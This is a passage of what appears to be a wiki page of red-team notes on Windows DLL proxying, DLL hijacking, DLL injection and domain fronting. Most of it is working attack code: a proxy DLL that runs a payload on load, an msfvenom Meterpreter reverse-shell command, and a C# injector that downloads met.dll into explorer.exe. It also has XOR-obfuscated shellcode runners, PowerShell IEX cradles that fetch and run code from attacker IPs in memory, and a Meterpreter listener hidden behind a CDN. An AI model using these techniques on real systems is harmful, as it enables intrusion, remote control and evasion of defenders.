#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
